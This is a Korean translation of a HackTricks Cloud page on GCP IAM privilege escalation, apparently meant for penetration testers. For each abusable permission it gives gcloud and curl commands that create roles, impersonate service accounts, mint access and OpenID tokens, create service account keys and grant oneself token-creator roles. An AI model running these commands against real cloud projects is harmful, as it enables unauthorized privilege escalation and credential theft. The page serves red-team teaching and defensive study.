GCP - IAM Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

IAM

IAM에 대한 자세한 정보는 다음에서 확인하세요:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

언급된 권한을 가진 attacker는 당신에게 할당된 역할을 업데이트하고 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

creation, exploit and cleaning of a vuln environment here을 자동화하는 스크립트는 찾을 수 있으며, 이 권한을 악용하는 python 스크립트는 here에서 확인할 수 있습니다. 자세한 내용은 original research를 확인하세요.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

iam.roles.create 권한은 프로젝트/조직에서 커스텀 역할을 생성할 수 있게 합니다. 공격자 손에 들어가면 위험한데, 이는 새로운 권한 세트를 정의하여 나중에 엔티티에 할당(예: iam.serviceAccounts.setIamPolicy 권한을 사용하여)함으로써 권한 상승을 시도할 수 있기 때문입니다.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

권한이 언급된 공격자는 서비스 계정에 속한 액세스 토큰을 요청할 수 있으므로, 우리보다 권한이 더 많은 서비스 계정의 액세스 토큰을 요청할 수 있습니다.

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

자동화된 스크립트는 creation, exploit and cleaning of a vuln environment here에서 확인할 수 있고, 이 권한을 악용하는 python 스크립트는 here에 있습니다. 자세한 내용은 original research를 참고하세요.

iam.serviceAccountKeys.create

앞서 언급한 권한을 가진 공격자는 Service Account에 대한 사용자 관리 키(user-managed key)를 생성할 수 있으며, 이를 통해 해당 Service Account로 GCP에 접근할 수 있습니다.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

취약 환경의 생성, 악용 및 정리 자동화 스크립트는 여기에서 확인할 수 있습니다 및 이 권한을 악용하는 python 스크립트는 여기에 있습니다. 자세한 내용은 원본 연구를 확인하세요.

참고: iam.serviceAccountKeys.update는 SA의 키를 수정하는 데 작동하지 않습니다. 해당 작업을 수행하려면 iam.serviceAccountKeys.create 권한도 필요합니다.

iam.serviceAccounts.implicitDelegation

만약 어떤 Service Account에 대해 iam.serviceAccounts.implicitDelegation 권한을 가지고 있고, 그 Service Account가 제3의 Service Account에 대해 iam.serviceAccounts.getAccessToken 권한을 가지고 있다면, implicitDelegation을 사용해 그 제3의 Service Account용 토큰을 생성할 수 있습니다. 아래 다이어그램이 설명에 도움이 됩니다.

참고로 문서에 따르면 gcloud의 위임은 generateAccessToken() 메서드를 사용하여 토큰을 생성하는 경우에만 작동합니다. 따라서 아래는 API를 직접 사용해 토큰을 얻는 방법입니다:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.signBlob

언급된 권한을 가진 공격자는 sign of arbitrary payloads in GCP 할 수 있습니다. 따라서 대상 SA의 unsigned JWT를 생성한 뒤 이를 blob으로 전송하여 해당 SA로부터 JWT에 서명을 받는 것이 가능합니다. 자세한 내용은 read this를 참조하세요.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.

iam.serviceAccounts.signJwt

언급된 권한을 가진 공격자는 sign well-formed JSON web tokens (JWTs) 할 수 있습니다. 이전 방식과의 차이점은 instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT 를 사용한다는 점입니다. 이 방법은 사용이 더 쉬우나 서명할 수 있는 것은 임의의 바이트가 아니라 JWT에 한정됩니다.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.setIamPolicy

언급된 권한을 가진 공격자는 서비스 계정에 add IAM policies to service accounts 할 수 있습니다. 이를 남용하여 서비스 계정을 가장하는 데 필요한 권한을 grant yourself 할 수 있습니다. 다음 예제에서는 관심 있는 SA에 대해 roles/iam.serviceAccountTokenCreator 역할을 자신에게 부여하고 있습니다:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

다음에서 스크립트를 찾을 수 있습니다: creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

iam.serviceAccounts.actAs permission은 iam:PassRole permission from AWS와 유사합니다. Compute Engine 인스턴스 시작과 같은 작업을 실행할 때 필수적인데, Service Account를 “actAs“할 수 있게 허용하여 권한 관리를 안전하게 합니다. 이 권한이 없으면 사용자가 부적절한 접근 권한을 얻을 수 있습니다. 또한 iam.serviceAccounts.actAs를 악용하는 방법은 여러 가지가 있으며, 각 방법마다 요구되는 권한 집합이 달라 일부 다른 방법들이 단 하나의 권한만 요구하는 것과 대조됩니다.

서비스 계정 가장

서비스 계정을 가장하는 것은 새롭고 더 높은 권한을 얻기에 매우 유용할 수 있습니다. 다른 서비스 계정을 impersonate another service account할 수 있는 방법은 세 가지가 있습니다:

  • 인증 using RSA private keys (covered above)
  • 권한 부여 using Cloud IAM policies (covered here)
  • Deploying jobs on GCP services (more applicable to the compromise of a user account)

iam.serviceAccounts.getOpenIdToken

언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이는 신원을 증명하는 데 사용되며 반드시 리소스에 대한 암묵적인 권한을 포함하는 것은 아닙니다.

According to this interesting post, audience(토큰을 사용해 인증하려는 서비스)를 지정해야 하며, 그러면 서비스 계정과 JWT의 audience를 나타내는 google이 서명한 JWT를 받게 됩니다.

접근 권한이 있다면 다음으로 OpenIDToken을 생성할 수 있습니다:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

이제 이를 사용해 서비스에 액세스할 수 있습니다:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

이러한 토큰을 통해 인증을 지원하는 일부 서비스는 다음과 같습니다:

서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법의 예제는 here에서 확인할 수 있습니다.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기